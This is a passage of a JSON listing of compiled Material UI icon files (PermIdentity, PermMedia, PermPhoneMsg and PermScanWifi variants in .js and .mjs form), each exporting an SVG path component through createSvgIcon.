    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 12c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m0 7c-2.67 0-8 1.34-8 4v2c0 .55.45 1 1 1h14c.55 0 1-.45 1-1v-2c0-2.66-5.33-4-8-4m6 5H6v-.99c.2-.72 3.3-2.01 6-2.01s5.8 1.29 6 2z\"\n}), 'PermIdentityRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermIdentityRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 12c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m0 7c-2.67 0-8 1.34-8 4v2c0 .55.45 1 1 1h14c.55 0 1-.45 1-1v-2c0-2.66-5.33-4-8-4m6 5H6v-.99c.2-.72 3.3-2.01 6-2.01s5.8 1.29 6 2z\"\n}), 'PermIdentityRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermIdentitySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 12c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m0 7c-2.67 0-8 1.34-8 4v3h16v-3c0-2.66-5.33-4-8-4m6 5H6v-.99c.2-.72 3.3-2.01 6-2.01s5.8 1.29 6 2z\"\n}), 'PermIdentitySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermIdentitySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 12c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m0 7c-2.67 0-8 1.34-8 4v3h16v-3c0-2.66-5.33-4-8-4m6 5H6v-.99c.2-.72 3.3-2.01 6-2.01s5.8 1.29 6 2z\"\n}), 'PermIdentitySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermIdentityTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"8\",\n  r: \"2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 15c-2.7 0-5.8 1.29-6 2.01V18h12v-1c-.2-.71-3.3-2-6-2\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 12c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m0 7c-2.67 0-8 1.34-8 4v3h16v-3c0-2.66-5.33-4-8-4m6 5H6v-.99c.2-.72 3.3-2.01 6-2.01s5.8 1.29 6 2z\"\n}, \"2\")], 'PermIdentityTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermIdentityTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"8\",\n  r: \"2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 15c-2.7 0-5.8 1.29-6 2.01V18h12v-1c-.2-.71-3.3-2-6-2\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 12c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m0 7c-2.67 0-8 1.34-8 4v3h16v-3c0-2.66-5.33-4-8-4m6 5H6v-.99c.2-.72 3.3-2.01 6-2.01s5.8 1.29 6 2z\"\n}, \"2\")], 'PermIdentityTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermMedia.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 6H0v5h.01L0 20c0 1.1.9 2 2 2h18v-2H2zm20-2h-8l-2-2H6c-1.1 0-1.99.9-1.99 2L4 16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M7 15l4.5-6 3.5 4.51 2.5-3.01L21 15z\"\n}), 'PermMedia');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermMedia.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 6H0v5h.01L0 20c0 1.1.9 2 2 2h18v-2H2zm20-2h-8l-2-2H6c-1.1 0-1.99.9-1.99 2L4 16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M7 15l4.5-6 3.5 4.51 2.5-3.01L21 15z\"\n}), 'PermMedia');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermMediaOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 6H0v5h.01L0 20c0 1.1.9 2 2 2h18v-2H2zm5 9h14l-3.5-4.5-2.5 3.01L11.5 9zM22 4h-8l-2-2H6c-1.1 0-1.99.9-1.99 2L4 16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 12H6V4h5.17l1.41 1.41.59.59H22z\"\n}), 'PermMediaOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermMediaOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 6H0v5h.01L0 20c0 1.1.9 2 2 2h18v-2H2zm5 9h14l-3.5-4.5-2.5 3.01L11.5 9zM22 4h-8l-2-2H6c-1.1 0-1.99.9-1.99 2L4 16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 12H6V4h5.17l1.41 1.41.59.59H22z\"\n}), 'PermMediaOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermMediaRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 19H3V7c0-.55-.45-1-1-1s-1 .45-1 1v12c0 1.1.9 2 2 2h16c.55 0 1-.45 1-1s-.45-1-1-1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 4h-7l-1.41-1.41c-.38-.38-.89-.59-1.42-.59H7c-1.1 0-1.99.9-1.99 2L5 15c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-3 9h-8c-.41 0-.65-.47-.4-.8l1.38-1.83c.2-.27.6-.27.8 0L13 12l2.22-2.97c.2-.27.6-.27.8 0l2.38 3.17c.25.33.01.8-.4.8\"\n}, \"1\")], 'PermMediaRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermMediaRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 19H3V7c0-.55-.45-1-1-1s-1 .45-1 1v12c0 1.1.9 2 2 2h16c.55 0 1-.45 1-1s-.45-1-1-1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 4h-7l-1.41-1.41c-.38-.38-.89-.59-1.42-.59H7c-1.1 0-1.99.9-1.99 2L5 15c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-3 9h-8c-.41 0-.65-.47-.4-.8l1.38-1.83c.2-.27.6-.27.8 0L13 12l2.22-2.97c.2-.27.6-.27.8 0l2.38 3.17c.25.33.01.8-.4.8\"\n}, \"1\")], 'PermMediaRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermMediaSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 6H0v16h20v-2H2zm22-2H14l-2-2H4v16h20zM7 15l4.5-6 3.5 4.51 2.5-3.01L21 15z\"\n}), 'PermMediaSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermMediaSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 6H0v16h20v-2H2zm22-2H14l-2-2H4v16h20zM7 15l4.5-6 3.5 4.51 2.5-3.01L21 15z\"\n}), 'PermMediaSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermMediaTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m13.17 6-.59-.59L11.17 4H6v12h16V6zm4.33 4.5L21 15H7l4.5-6 3.5 4.51z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 6H0v5h.01L0 20c0 1.1.9 2 2 2h18v-2H2zm5 9h14l-3.5-4.5-2.5 3.01L11.5 9zM22 4h-8l-2-2H6c-1.1 0-1.99.9-1.99 2L4 16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 12H6V4h5.17l1.41 1.41.59.59H22z\"\n}, \"1\")], 'PermMediaTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermMediaTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m13.17 6-.59-.59L11.17 4H6v12h16V6zm4.33 4.5L21 15H7l4.5-6 3.5 4.51z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 6H0v5h.01L0 20c0 1.1.9 2 2 2h18v-2H2zm5 9h14l-3.5-4.5-2.5 3.01L11.5 9zM22 4h-8l-2-2H6c-1.1 0-1.99.9-1.99 2L4 16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 12H6V4h5.17l1.41 1.41.59.59H22z\"\n}, \"1\")], 'PermMediaTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermPhoneMsg.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 15.5c-1.25 0-2.45-.2-3.57-.57-.35-.11-.74-.03-1.02.24l-2.2 2.2c-2.83-1.44-5.15-3.75-6.59-6.58l2.2-2.21c.28-.27.36-.66.25-1.01C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.5c0-.55-.45-1-1-1M12 3v10l3-3h6V3z\"\n}), 'PermPhoneMsg');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermPhoneMsg.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 15.5c-1.25 0-2.45-.2-3.57-.57-.35-.11-.74-.03-1.02.24l-2.2 2.2c-2.83-1.44-5.15-3.75-6.59-6.58l2.2-2.21c.28-.27.36-.66.25-1.01C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.5c0-.55-.45-1-1-1M12 3v10l3-3h6V3z\"\n}), 'PermPhoneMsg');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermPhoneMsgOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 15.5c-1.25 0-2.45-.2-3.57-.57-.1-.03-.21-.05-.31-.05-.26 0-.51.1-.71.29l-2.2 2.2c-2.83-1.44-5.15-3.75-6.59-6.58l2.2-2.21c.28-.27.36-.66.25-1.01C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.5c0-.55-.45-1-1-1M5.03 5h1.5c.07.88.22 1.75.46 2.59L5.79 8.8c-.41-1.21-.67-2.48-.76-3.8M19 18.97c-1.32-.09-2.6-.35-3.8-.76l1.2-1.2c.85.24 1.72.39 2.6.45zM12 3v10l3-3h6V3zm7 5h-5V5h5z\"\n}), 'PermPhoneMsgOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermPhoneMsgOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 15.5c-1.25 0-2.45-.2-3.57-.57-.1-.03-.21-.05-.31-.05-.26 0-.51.1-.71.29l-2.2 2.2c-2.83-1.44-5.15-3.75-6.59-6.58l2.2-2.21c.28-.27.36-.66.25-1.01C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.5c0-.55-.45-1-1-1M5.03 5h1.5c.07.88.22 1.75.46 2.59L5.79 8.8c-.41-1.21-.67-2.48-.76-3.8M19 18.97c-1.32-.09-2.6-.35-3.8-.76l1.2-1.2c.85.24 1.72.39 2.6.45zM12 3v10l3-3h6V3zm7 5h-5V5h5z\"\n}), 'PermPhoneMsgOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermPhoneMsgRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 3h-7c-.55 0-1 .45-1 1v9l3-3h5c.55 0 1-.45 1-1V4c0-.55-.45-1-1-1m-.77 12.26-2.54-.29c-.61-.07-1.21.14-1.64.57l-1.84 1.84c-2.83-1.44-5.15-3.75-6.59-6.59l1.85-1.85c.43-.43.64-1.03.57-1.64l-.29-2.52c-.12-1.01-.97-1.77-1.99-1.77H5.03c-1.13 0-2.07.94-2 2.07.53 8.54 7.36 15.36 15.89 15.89 1.13.07 2.07-.87 2.07-2v-1.73c.01-1.01-.75-1.86-1.76-1.98\"\n}), 'PermPhoneMsgRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermPhoneMsgRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 3h-7c-.55 0-1 .45-1 1v9l3-3h5c.55 0 1-.45 1-1V4c0-.55-.45-1-1-1m-.77 12.26-2.54-.29c-.61-.07-1.21.14-1.64.57l-1.84 1.84c-2.83-1.44-5.15-3.75-6.59-6.59l1.85-1.85c.43-.43.64-1.03.57-1.64l-.29-2.52c-.12-1.01-.97-1.77-1.99-1.77H5.03c-1.13 0-2.07.94-2 2.07.53 8.54 7.36 15.36 15.89 15.89 1.13.07 2.07-.87 2.07-2v-1.73c.01-1.01-.75-1.86-1.76-1.98\"\n}), 'PermPhoneMsgRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermPhoneMsgSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3v10l3-3h6V3zm1.21 14.37c-2.83-1.44-5.15-3.75-6.59-6.59l2.53-2.53L8.54 3H3.03C2.45 13.18 10.82 21.55 21 20.97v-5.51l-5.27-.61z\"\n}), 'PermPhoneMsgSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermPhoneMsgSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3v10l3-3h6V3zm1.21 14.37c-2.83-1.44-5.15-3.75-6.59-6.59l2.53-2.53L8.54 3H3.03C2.45 13.18 10.82 21.55 21 20.97v-5.51l-5.27-.61z\"\n}), 'PermPhoneMsgSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermPhoneMsgTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.2 18.21c1.21.41 2.48.67 3.8.76v-1.5c-.88-.07-1.75-.22-2.6-.45zM6.54 5h-1.5c.09 1.32.35 2.59.75 3.79l1.2-1.21c-.24-.83-.39-1.7-.45-2.58M14 8h5V5h-5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 15.5c-1.25 0-2.45-.2-3.57-.57-.1-.03-.21-.05-.31-.05-.26 0-.51.1-.71.29l-2.2 2.2c-2.83-1.44-5.15-3.75-6.59-6.58l2.2-2.21c.28-.27.36-.66.25-1.01C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.5c0-.55-.45-1-1-1M5.03 5h1.5c.07.88.22 1.75.46 2.59L5.79 8.8c-.41-1.21-.67-2.48-.76-3.8M19 18.97c-1.32-.09-2.6-.35-3.8-.76l1.2-1.2c.85.24 1.72.39 2.6.45zM12 3v10l3-3h6V3zm7 5h-5V5h5z\"\n}, \"1\")], 'PermPhoneMsgTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermPhoneMsgTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.2 18.21c1.21.41 2.48.67 3.8.76v-1.5c-.88-.07-1.75-.22-2.6-.45zM6.54 5h-1.5c.09 1.32.35 2.59.75 3.79l1.2-1.21c-.24-.83-.39-1.7-.45-2.58M14 8h5V5h-5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 15.5c-1.25 0-2.45-.2-3.57-.57-.1-.03-.21-.05-.31-.05-.26 0-.51.1-.71.29l-2.2 2.2c-2.83-1.44-5.15-3.75-6.59-6.58l2.2-2.21c.28-.27.36-.66.25-1.01C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.5c0-.55-.45-1-1-1M5.03 5h1.5c.07.88.22 1.75.46 2.59L5.79 8.8c-.41-1.21-.67-2.48-.76-3.8M19 18.97c-1.32-.09-2.6-.35-3.8-.76l1.2-1.2c.85.24 1.72.39 2.6.45zM12 3v10l3-3h6V3zm7 5h-5V5h5z\"\n}, \"1\")], 'PermPhoneMsgTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermScanWifi.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3C6.95 3 3.15 4.85 0 7.23L12 22 24 7.25C20.85 4.87 17.05 3 12 3m1 13h-2v-6h2zm-2-8V6h2v2z\"\n}), 'PermScanWifi');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermScanWifi.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3C6.95 3 3.15 4.85 0 7.23L12 22 24 7.25C20.85 4.87 17.05 3 12 3m1 13h-2v-6h2zm-2-8V6h2v2z\"\n}), 'PermScanWifi');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermScanWifiOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3C6.95 3 3.15 4.85 0 7.23L12 22 24 7.25C20.85 4.87 17.05 3 12 3M2.92 7.65C5.8 5.85 8.74 5 12 5c3.25 0 6.18.85 9.08 2.67L12 18.83zM11 10h2v6h-2zm0-4h2v2h-2z\"\n}), 'PermScanWifiOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermScanWifiOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3C6.95 3 3.15 4.85 0 7.23L12 22 24 7.25C20.85 4.87 17.05 3 12 3M2.92 7.65C5.8 5.85 8.74 5 12 5c3.25 0 6.18.85 9.08 2.67L12 18.83zM11 10h2v6h-2zm0-4h2v2h-2z\"\n}), 'PermScanWifiOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermScanWifiRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3C7.41 3 3.86 4.53.89 6.59c-.49.33-.59 1-.22 1.46l9.78 12.04c.8.98 2.3.99 3.1 0l9.78-12.02c.37-.46.27-1.13-.22-1.46C20.14 4.54 16.59 3 12 3m0 13c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1s1 .45 1 1v4c0 .55-.45 1-1 1m-1-8V6h2v2z\"\n}), 'PermScanWifiRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermScanWifiRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3C7.41 3 3.86 4.53.89 6.59c-.49.33-.59 1-.22 1.46l9.78 12.04c.8.98 2.3.99 3.1 0l9.78-12.02c.37-.46.27-1.13-.22-1.46C20.14 4.54 16.59 3 12 3m0 13c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1s1 .45 1 1v4c0 .55-.45 1-1 1m-1-8V6h2v2z\"\n}), 'PermScanWifiRounded');"
